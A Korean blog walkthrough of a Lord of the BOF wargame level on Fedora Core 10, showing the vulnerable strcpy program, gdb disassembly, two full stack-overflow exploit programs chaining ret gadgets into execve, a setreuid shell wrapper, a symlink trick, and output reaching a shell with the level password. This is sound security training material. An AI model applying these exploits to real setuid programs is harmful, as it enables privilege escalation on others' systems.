'balog' 태그의 글 목록

balog

해커스쿨 LOB FC10 [balog -> talos] 풀이 2019.02.23
해커스쿨 LOB FC10 [titan -> balog] 풀이 2019.02.23

PREV 1 NEXT

해커스쿨 LOB FC10 [balog -> talos] 풀이

2019. 2. 23. 20:34

해커스쿨 LOB FC10 [titan -> balog] 풀이

2019. 2. 23. 19:29

ID | titan

PW | out of the night

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/*
    The Lord of the BOF : The Fellowship of the BOF 
    - balog
    - Local BOF on Fedora Core 10 
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[])
{
        char buffer[256];
        if(argc != 2)
        {
                printf("argc Error!!\n");
                exit(-1);
        }
 
        // overflow!!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
 
        return 0; 
}
 
 
Colored by Color Scripter
cs

http://index-of.co.uk/Reverse-Engineering/Fedora%20Core%203,4,5%20stack%20overflow%20%5Brandomkid%5D.pdf

위 글을 참고해 ex했습니다.

1. 아스키아머가 걸리지 않은 ret 코드 주소를 알아낸다.

2. main()'s 에필로그 주소를 알아낸다.

3. 몇번째 enviorns 에서 ret 이 되는지 알아낸다.

4. &execve()'s address 를 알아낸다.

5. 심볼릭 링크를 걸고 공격하여 root shell 을 얻어낸다.

0x08048471 <main+93>: lea eax,[ebp-0x104]

0x08048477 <main+99>: mov DWORD PTR [esp],eax

0x0804847a <main+102>: call 0x8048340 <puts@plt>

0x0804847f <main+107>: mov eax,0x0

0x08048484 <main+112>: add esp,0x114

0x0804848a <main+118>: pop ecx

0x0804848b <main+119>: pop ebp

0x0804848c <main+120>: lea esp,[ecx-0x4]

0x0804848f <main+123>: ret

ret -> 0x0804848f

main 에필로그 -> 0x08048484

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//ex.c
#include <stdio.h>
int main()
{
 char *environs[] = {
 "K1","K2","K3","K4","K5","K6","K7","K8","K9","K10","K11","K12","K13","K14",
 "K15","K16","K17","K18","K19","K20","K21","K22","K23","K24","K25","K26","K27",
 "K28","K29","K30",0
 };
 char *argv[] = {
 "./balog2",
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08" /* <--- ret 코드 주소 */
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x84\x84\x04\x08", /* <--- main()'s 의 에필로그 */
 0
 };
 execve("./balog2",argv,environs);
}
 
Colored by Color Scripter
cs

[titan@Fedora_3rdFloor ~]$ cp balog balog2

[titan@Fedora_3rdFloor ~]$ vi ex.c

[titan@Fedora_3rdFloor ~]$ gcc -o ex ex.c

[titan@Fedora_3rdFloor ~]$ gdb -q ex

(no debugging symbols found)

(gdb) r

Starting program: /home/titan/ex

(no debugging symbols found)

Executing new program: /home/titan/balog2

Missing separate debuginfos, use: debuginfo-install glibc-2.9-3.i686

(no debugging symbols found)

��

Program received signal SIGSEGV, Segmentation fault.

0x0036324b in ?? ()

Missing separate debuginfos, use: debuginfo-install glibc-2.9-3.i686

(gdb) x/s $esp

0xbfffffe3: "K27"

26번째 인자가 ret되었다.

26번째 인자 <- execv() , 28번째 인자 <- execv()의 인자

[titan@Fedora_3rdFloor ~]$ gdb -q balog

(no debugging symbols found)

(gdb) b main

Breakpoint 1 at 0x8048422

(gdb) r

Starting program: /home/titan/balog

(no debugging symbols found)

Breakpoint 1, 0x08048422 in main ()

Missing separate debuginfos, use: debuginfo-install glibc-2.9-3.i686

(gdb) p execve

$1 = {<text variable, no debug info>} 0x9ab7e0 <execve>

[titan@Fedora_3rdFloor ~]$ objdump -s balog | grep "01" --color=auto

8048148 04000000 10000000 01000000 474e5500 ............GNU.

804818c 02000000 06000000 01000000 05000000 ................

80481bc 01000000 00000000 00000000 20000000 ............ ...

8048272 00000000 02000200 02000200 0100 ..............

8048280 01000100 10000000 10000000 00000000 ................

80482a0 b4960408 06010000 ........

80482a8 c4960408 07010000 c8960408 07020000 ................

80483c0 8d4201a3 e0960408 ff1485e0 9504088b .B..............

80483d0 15e09604 0839da72 e7c605dc 96040801 .....9.r........

8048420 e55181ec 14010000 898df8fe ffff8b85 .Q..............

8048480 00000000 81c41401 0000595d 8d61fcc3 ..........Y].a..

80484e0 08890424 ff94b320 ffffff83 c60139fe ...$... ......9.

8048548 03000000 01000200 00000000 61726763 ............argc

8048564 011b033b 18000000 02000000 2cffffff ...;........,...

8048580 14000000 00000000 017a5200 017c0801 .........zR..|..

8048590 1b0c0404 88010000 18000000 1c000000 ................

80495ec 01000000 10000000 0c000000 d0820408 ................

804966c feffff6f 80820408 ffffff6f 01000000 ...o.......o....

0010 32203230 30383131 30352028 52656420 2 20081105 (Red

0100 20486174 20342e33 2e322d37 2900 Hat 4.3.2-7).

[titan@Fedora_3rdFloor ~]$ gdb -q balog

(no debugging symbols found)

(gdb) b main

Breakpoint 1 at 0x8048422

(gdb) r

Starting program: /home/titan/balog

(no debugging symbols found)

Breakpoint 1, 0x08048422 in main ()

Missing separate debuginfos, use: debuginfo-install glibc-2.9-3.i686

(gdb) x/x 0x080481bc <--- execve() 첫번째 인자

0x80481bc: 0x00000001

(gdb) x/x 0x080481c0 <--- execve() 두 세번째 인자

0x80481c0: 0x00000000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//ex2.c
#include <stdio.h>
int main()
{
 char *environs[] = {
 "K1","K2","K3","K4","K5","K6","K7","K8","K9","K10","K11","K12","K13","K14",
 "K15","K16","K17","K18","K19","K20","K21","K22","K23","K24","K25",
 "\xe0\xb7\x9a",
 "K27",
 "\xbc\x81\x04\x08"
 "\xc0\x81\x04\x08"
 "\xc0\x81\x04\x08",0
 };
 char *argv[] = {
 "./balog",
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08" /* <--- ret 코드 주소 */
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x84\x84\x04\x08", /* <--- main()'s 의 에필로그 */
 0
 };
 execve("./balog",argv,environs);
}
 
Colored by Color Scripter
cs

sh.c --> \x01

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>
 
int main(void)
{
  setreuid(geteuid(),geteuid());
  setregid(getegid(),getegid());
  system("/bin/sh");
}
Colored by Color Scripter
cs

[titan@Fedora_3rdFloor ~]$ vi sh.c

[titan@Fedora_3rdFloor ~]$ vi ex2.c

[titan@Fedora_3rdFloor ~]$ gcc -o sh sh.c

[titan@Fedora_3rdFloor ~]$ ln -s sh `python -c 'print "\x01"'`

[titan@Fedora_3rdFloor ~]$ ls -al `python -c 'print "\x01"'`

lrwxrwxrwx 1 titan titan 2 2019-02-23 04:34 ? -> sh

익스 !

[titan@Fedora_3rdFloor ~]$ gcc -o ex2 ex2.c

[titan@Fedora_3rdFloor ~]$ ./ex2

��

Segmentation fault

....

[titan@Fedora_3rdFloor ~]$ ./ex2

��

sh-3.2$ my-pass

euid = 500

out of the night

balog2 는 쉘이 따지는데 balog에서 세그먼트 폴트가 뜬다..

왜인지는 모르겠다.

일단 넘어가고, 나중에 다시 봐야겠다.

저작자표시 비영리 동일조건

'System Hacking > LOB FC' 카테고리의 다른 글

해커스쿨 LOB FC10 [balog -> talos] 풀이 (0)	2019.02.23
해커스쿨 LOB FC4 [enigma -> titan] 풀이 (0)	2019.02.23
해커스쿨 LOB FC4 [cruel -> enigma] 풀이 (0)	2019.02.22
해커스쿨 LOB FC4 [dark_stone -> cruel] 풀이 (0)	2019.02.20
해커스쿨 LOB FC3 [evil_wizard -> dark_stone] 풀이 (0)	2019.02.20

PREV 1 NEXT

M4ndU의 만두만두한 블로그

balog

해커스쿨 LOB FC10 [balog -> talos] 풀이

해커스쿨 LOB FC10 [titan -> balog] 풀이

'System Hacking > LOB FC' 카테고리의 다른 글

+ Recent posts

티스토리툴바